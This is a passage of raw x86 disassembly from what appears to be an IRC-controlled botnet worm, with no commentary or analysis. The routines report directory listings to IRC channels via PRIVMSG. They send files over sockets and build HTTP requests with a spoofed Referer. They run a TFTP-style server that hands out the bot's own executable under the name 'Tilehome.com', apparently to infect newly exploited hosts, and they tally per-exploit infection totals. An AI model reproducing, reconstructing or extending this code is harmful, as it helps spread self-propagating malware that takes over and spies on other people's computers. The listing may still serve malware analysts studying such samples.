		lea	eax, [ebp+var_25C]
		push	eax
		call	sub_413E90
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_25C]
		push	eax
		jbe	short loc_405546
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40554B
; ---------------------------------------------------------------------------


loc_405546:				; CODE XREF: sub_40517E+3BFj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40554B:				; CODE XREF: sub_40517E+3C6j
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_148]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_405722
; ---------------------------------------------------------------------------


loc_405593:				; CODE XREF: sub_40517E+32Bj
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_390]
		push	106h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4055C3:				; CODE XREF: sub_40517E+485j
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 24h
		jmp	loc_405731
; ---------------------------------------------------------------------------


loc_4055D8:				; CODE XREF: sub_40517E+2D2j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_405605
		push	ebx
		push	[ebp+var_268]
		call	sub_40A927
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4055C3
; ---------------------------------------------------------------------------


loc_405605:				; CODE XREF: sub_40517E+460j
		cmp	[ebp+arg_C], ebx
		jz	loc_405708
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s"
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		call	sub_413E90
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_25C]
		push	eax
		jbe	short loc_4056A5
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4056AA
; ---------------------------------------------------------------------------


loc_4056A5:				; CODE XREF: sub_40517E+51Ej
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4056AA:				; CODE XREF: sub_40517E+525j
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		mov	eax, [ebp+var_268]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_148]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		jmp	short loc_405731
; ---------------------------------------------------------------------------


loc_405708:				; CODE XREF: sub_40517E+48Aj
		push	[ebp+var_268]
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_405722:				; CODE XREF: sub_40517E+410j
		lea	eax, [ebp+var_120]
		push	eax
		call	sub_413D8A
		add	esp, 18h


loc_405731:				; CODE XREF: sub_40517E+323j
					; sub_40517E+455j ...
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_405760
		push	7D0h
		call	ds:dword_41F050	; Sleep


loc_405760:				; CODE XREF: sub_40517E+226j
					; sub_40517E+241j ...
		lea	eax, [ebp+var_288]
		push	eax
		push	[ebp+arg_0]
		call	ds:off_41F088
		test	eax, eax
		jnz	loc_40539E


loc_405778:				; CODE XREF: sub_40517E+215j
		push	[ebp+arg_0]
		call	ds:off_41F07C
		cmp	[ebp+arg_8], ebx
		jz	short loc_4057BB
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40A927
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	short loc_4057EF
; ---------------------------------------------------------------------------


loc_4057BB:				; CODE XREF: sub_40517E+606j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4057D5
		lea	eax, [ebp+var_120]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_4057EF
; ---------------------------------------------------------------------------


loc_4057D5:				; CODE XREF: sub_40517E+640j
		push	[ebp+var_8]
		lea	eax, [ebp+var_120]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_413812
		add	esp, 10h


loc_4057EF:				; CODE XREF: sub_40517E+63Bj
					; sub_40517E+655j
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40517E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405815	proc near		; CODE XREF: sub_404D4C+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_41F05C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4058CD
		push	esi
		push	ebx
		call	ds:off_41F074
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4058C6


loc_40585A:				; CODE XREF: sub_405815+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_405877
		mov	edi, [ebp+arg_4]


loc_405877:				; CODE XREF: sub_405815+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:off_41F094
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:off_41F090
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4058C1
		call	dword_44CC78	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4058C6
		xor	eax, eax


loc_4058C1:				; CODE XREF: sub_405815+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40585A


loc_4058C6:				; CODE XREF: sub_405815+43j
					; sub_405815+A8j
		push	ebx
		call	ds:dword_41F058	; CloseHandle


loc_4058CD:				; CODE XREF: sub_405815+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405815	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058D2	proc near		; CODE XREF: sub_404ECE+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_413E90
		test	eax, eax
		pop	ecx
		jbe	short loc_4058FB


loc_4058E5:				; CODE XREF: sub_4058D2+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4058EF
		mov	byte ptr [esi+edi], 2Fh


loc_4058EF:				; CODE XREF: sub_4058D2+17j
		push	edi
		inc	esi
		call	sub_413E90
		cmp	esi, eax
		pop	ecx
		jb	short loc_4058E5


loc_4058FB:				; CODE XREF: sub_4058D2+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4058D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405900	proc near		; CODE XREF: sub_40CC09+278Cp

var_3A0		= byte ptr -3A0h
var_210		= byte ptr -210h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 3A0h
		push	ebx
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		push	101h
		call	dword_44CC60	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4059DD
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_405979
		mov	eax, offset byte_438A10


loc_405979:				; CODE XREF: sub_405900+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_44CD28	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		pop	esi


loc_4059DD:				; CODE XREF: sub_405900+6Bj
		push	ebx
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_413812
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_405A1D
		push	edi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_405A1D:				; CODE XREF: sub_405900+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_405900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A21	proc near		; CODE XREF: sub_405A21:loc_405F0Cp
					; DATA XREF: sub_406059+107o ...

var_784		= dword	ptr -784h
var_780		= dword	ptr -780h
var_680		= byte ptr -680h
var_67F		= byte ptr -67Fh
var_67E		= byte ptr -67Eh
var_67D		= byte ptr -67Dh
var_67C		= byte ptr -67Ch
var_47C		= byte ptr -47Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 784h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_405AE4
		push	190h
		call	ds:dword_41F050	; Sleep
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_47C]
		push	offset unk_4259E0
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405AC4
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		add	esp, 14h


loc_405AC4:				; CODE XREF: sub_405A21+7Ej
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		push	[ebp+var_170]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_405AE4:				; CODE XREF: sub_405A21+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 134h
		push	ebx
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405B49
		push	1388h
		call	ds:dword_41F050	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_405F0C
; ---------------------------------------------------------------------------


loc_405B49:				; CODE XREF: sub_405A21+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_414F8F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_405BC7
		push	190h
		call	ds:dword_41F050	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_47C]
		push	offset unk_4259A8
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		push	[ebp+var_170]
		call	sub_4135DA
		add	esp, 28h
		push	ebx
		call	ds:off_41F040


loc_405BC7:				; CODE XREF: sub_405A21+140j
		mov	esi, 200h


loc_405BCC:				; CODE XREF: sub_405A21+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_405ECC
		mov	[ebp+var_780], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_784], 1
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_784]
		push	ebx
		push	eax
		push	ebx
		call	dword_44CCC4	; select
		test	eax, eax
		jle	loc_405EC0
		mov	al, byte_438A10
		mov	ecx, edi
		mov	[ebp+var_680], al
		xor	eax, eax
		lea	edi, [ebp+var_67F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_44CCB4	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_413812
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_405EAA
		cmp	[ebp+var_D7], 1
		jnz	loc_405DF6
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_413E90
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4152D0
		add	esp, 14h
		test	eax, eax
		jnz	loc_405DB0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_4152D0
		add	esp, 10h
		test	eax, eax
		jnz	loc_405DB0
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_41523E
		push	[ebp+var_8]
		lea	eax, [ebp+var_67C]
		mov	[ebp+var_680], bl
		mov	[ebp+var_67F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_67E], bl
		mov	[ebp+var_67D], 1
		call	sub_414E87
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_680]
		push	eax
		push	edi
		call	dword_44CD3C	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_425960


loc_405D64:				; CODE XREF: sub_405A21+484j
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405D9E
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		add	esp, 14h


loc_405D9E:				; CODE XREF: sub_405A21+358j
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	loc_405EC0
; ---------------------------------------------------------------------------


loc_405DB0:				; CODE XREF: sub_405A21+2B6j
					; sub_405A21+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42594C
		push	edi
		call	dword_44CD3C	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_425914
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_409833
		add	esp, 14h
		jmp	loc_405EC0
; ---------------------------------------------------------------------------


loc_405DF6:				; CODE XREF: sub_405A21+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_405EAA
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_680], bl
		mov	[ebp+var_67F], 3
		jnz	short loc_405E33
		inc	al
		xor	cl, cl
		mov	[ebp+var_67E], al
		mov	[ebp+var_67D], bl
		jmp	short loc_405E41
; ---------------------------------------------------------------------------


loc_405E33:				; CODE XREF: sub_405A21+3FEj
		inc	cl
		mov	[ebp+var_67E], al
		mov	[ebp+var_67D], cl


loc_405E41:				; CODE XREF: sub_405A21+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_41523E
		push	[ebp+var_8]
		lea	eax, [ebp+var_67C]
		push	esi
		push	1
		push	eax
		call	sub_414E87
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_680]
		push	eax
		push	[ebp+var_10]
		call	dword_44CD3C	; sendto
		cmp	edi, ebx
		jnz	short loc_405EC0
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4258BC
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405EAA:				; CODE XREF: sub_405A21+268j
					; sub_405A21+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4258B0
		push	edi
		call	dword_44CD3C	; sendto


loc_405EC0:				; CODE XREF: sub_405A21+204j
					; sub_405A21+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_405BCC


loc_405ECC:				; CODE XREF: sub_405A21+1B4j
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_8]
		call	sub_414E31
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_405F00
		push	[ebp+var_170]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_405F00:				; CODE XREF: sub_405A21+4CAj
		push	3E8h
		call	ds:dword_41F050	; Sleep
		push	esi


loc_405F0C:				; CODE XREF: sub_405A21+123j
		call	sub_405A21
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F18	proc near		; CODE XREF: sub_40CC09+5314p

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	edi
		lea	eax, [ebp+var_100]
		push	offset unk_425DB0
		push	eax
		xor	ebx, ebx
		call	sub_413812
		cmp	dword_425A58, ebx
		pop	ecx
		pop	ecx
		mov	edi, 0FFh
		jz	short loc_405F86
		push	esi
		mov	esi, offset dword_425A60


loc_405F4B:				; CODE XREF: sub_405F18+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_415310
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_405F4B
		pop	esi


loc_405F86:				; CODE XREF: sub_405F18+2Bj
		push	dword_741F68
		call	sub_4092A2
		push	eax
		push	ebx
		lea	eax, [ebp+var_200]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_415310
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_405F18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FE2	proc near		; CODE XREF: sub_40CC09+4C6Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	8
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_40601E
		mov	eax, [ebp+arg_C]
		push	dword_438A20[eax*8]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_100]
		push	offset unk_425E18
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	short loc_406031
; ---------------------------------------------------------------------------


loc_40601E:				; CODE XREF: sub_405FE2+13j
		lea	eax, [ebp+var_100]
		push	offset unk_425DE4
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_406031:				; CODE XREF: sub_405FE2+3Aj
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 18h
		leave
		retn
sub_405FE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406059	proc near		; CODE XREF: sub_406782+4Fp

var_110		= dword	ptr -110h
var_104		= byte ptr -104h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4063E9
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_425A64[eax], ebx
		jz	loc_4062CA
		push	4
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_4063E9
		mov	eax, dword_42A320
		push	edi
		mov	edi, offset dword_44C2BC
		push	104h
		push	edi
		push	ebx
		mov	dword_44C4CC, eax
		mov	dword_44C4C8, ebx
		call	ds:dword_41F060	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_44C3C0
		push	offset aTilehome_com ; "Tilehome.com"
		push	esi
		call	sub_415140
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_44C2B8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_44C550, eax
		jnz	short loc_40610C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44C4D0
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44C554, 1
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610C:				; CODE XREF: sub_406059+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_44C4D0
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44C554, ebx


loc_406126:				; CODE XREF: sub_406059+B1j
		push	esi
		push	edi
		push	dword_44C4CC
		lea	eax, [ebp+var_104]
		push	offset unk_425FAC
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	4
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44C4C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C2B8
		push	offset sub_405A21
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, dword_44C4C4
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_406195


loc_406183:				; CODE XREF: sub_406059+13Aj
		cmp	dword_44C558, ebx
		jnz	short loc_4061B0
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_406183
; ---------------------------------------------------------------------------


loc_406195:				; CODE XREF: sub_406059+128j
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_425F68
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4061B0:				; CODE XREF: sub_406059+130j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_409833
		mov	edi, offset dword_44C914
		mov	[esp+110h+var_110], 104h
		push	edi
		push	ebx
